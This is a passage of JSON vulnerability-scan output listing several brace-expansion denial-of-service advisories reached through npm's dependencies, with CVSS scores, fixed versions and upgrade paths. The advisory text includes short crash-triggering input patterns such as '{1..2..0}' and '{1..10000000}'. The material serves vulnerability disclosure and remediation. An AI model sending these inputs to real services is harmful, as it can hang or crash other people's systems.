"https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", 